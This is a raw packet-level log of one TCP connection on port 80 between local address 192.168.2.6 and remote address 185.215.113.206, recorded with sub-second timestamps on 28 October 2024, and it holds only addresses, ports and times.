Oct 28, 2024 02:07:49.780684948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780695915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780705929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780706882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.780731916 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.780742884 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781059027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781104088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781105042 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781116009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781147003 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781148911 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781157970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781167984 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781193972 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781193972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781204939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781218052 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781234980 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781238079 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781250000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781255960 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781267881 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781272888 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781284094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781287909 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781292915 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781303883 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781313896 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781315088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781327009 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781348944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781356096 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781358957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781368017 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781385899 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781387091 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781403065 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781409979 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781413078 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781429052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781436920 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781440020 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781450987 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781461954 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781475067 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781486034 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781486988 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781495094 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781518936 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781524897 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781533957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781543970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781543970 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781567097 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781569958 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781578064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781588078 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781591892 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781620979 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781627893 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781632900 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781641960 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781652927 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781678915 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781681061 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781691074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781734943 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781744957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781754017 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781764030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781790018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781793118 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781800985 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781820059 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781829119 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781841040 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781847000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781850100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781872988 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781872988 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781883955 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781894922 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781898975 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781904936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.781933069 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.781948090 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782265902 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782277107 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782285929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782299042 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782310009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782322884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782325029 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782344103 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782355070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782355070 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782375097 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782377005 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782387018 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782397032 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782401085 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782418013 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782429934 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782430887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782460928 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782463074 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782473087 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782485008 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782488108 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782497883 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782506943 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782512903 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782531977 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782537937 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782551050 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782562971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782573938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782576084 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782584906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782598972 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782618999 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782625914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782636881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782670975 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782706022 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782716990 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782726049 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782744884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782752037 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782762051 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782772064 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782778978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782789946 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782800913 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782800913 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782810926 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782823086 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782831907 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782850027 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782852888 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782860041 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782871008 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782895088 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782896996 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782907009 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782919884 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782929897 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782958984 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782963991 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782975912 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.782982111 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.782991886 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.783003092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.783003092 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.783015966 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.783027887 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.783037901 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.783052921 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.783052921 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.783063889 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.783076048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.783080101 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.783096075 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.783104897 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.783107996 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.783118010 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.783129930 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.783159018 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.822721004 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.822734118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.822742939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.822753906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.822762966 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.822774887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.822787046 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.822788954 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.822798014 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.822814941 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.822838068 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.864913940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.864932060 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.864940882 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.864981890 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.865001917 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.896656036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896727085 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896737099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896749973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896773100 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896783113 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896786928 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896792889 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896797895 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896799088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.896799088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.896799088 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.896817923 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.896840096 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896846056 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.896873951 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896882057 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.896887064 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896898031 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896922112 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896924973 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.896931887 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896943092 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896946907 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.896948099 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.896969080 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.896996975 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.897161007 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.897208929 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.897231102 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.897242069 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.897264957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.897269964 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.897275925 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.897285938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.897289991 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.897298098 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.897315979 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.897326946 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898257971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898268938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898278952 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898288012 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898298979 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898308992 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898319960 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898324966 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898329973 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898350000 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898364067 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898366928 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898374081 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898382902 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898407936 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898413897 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898420095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898430109 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898442030 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898456097 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898458958 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898471117 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898473978 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898499012 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898500919 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898510933 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898525000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898531914 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898542881 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898550987 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898551941 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898565054 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898576021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898580074 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898586035 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898597002 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898600101 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898622036 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898622036 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898632050 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898637056 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898647070 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898648024 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898660898 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898686886 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898690939 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898701906 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898708105 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898710966 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898736000 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898736954 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898746967 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898762941 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898767948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898777962 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898786068 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898788929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898798943 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898811102 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898818016 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898819923 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898827076 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898834944 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898848057 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898860931 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898860931 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898870945 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898880959 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898888111 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898893118 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898912907 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898915052 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898925066 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.898979902 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898979902 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.898979902 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899019957 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899029970 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899039984 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899050951 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899063110 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899071932 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899074078 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899085045 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899086952 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899107933 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899112940 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899122953 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899127007 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899137974 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899153948 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899154902 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899162054 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899174929 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899183989 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899184942 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899199009 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899213076 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899223089 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899240971 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899243116 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899251938 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899260998 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899266005 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899271011 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899281025 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899283886 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899310112 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899346113 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899348021 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899368048 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899384022 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899393082 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899403095 CET	80	49967	185.215.113.206	192.168.2.6
Oct 28, 2024 02:07:49.899409056 CET	49967	80	192.168.2.6	185.215.113.206
Oct 28, 2024 02:07:49.899413109 CET	80	49967	185.215.113.206	192.168.2.6
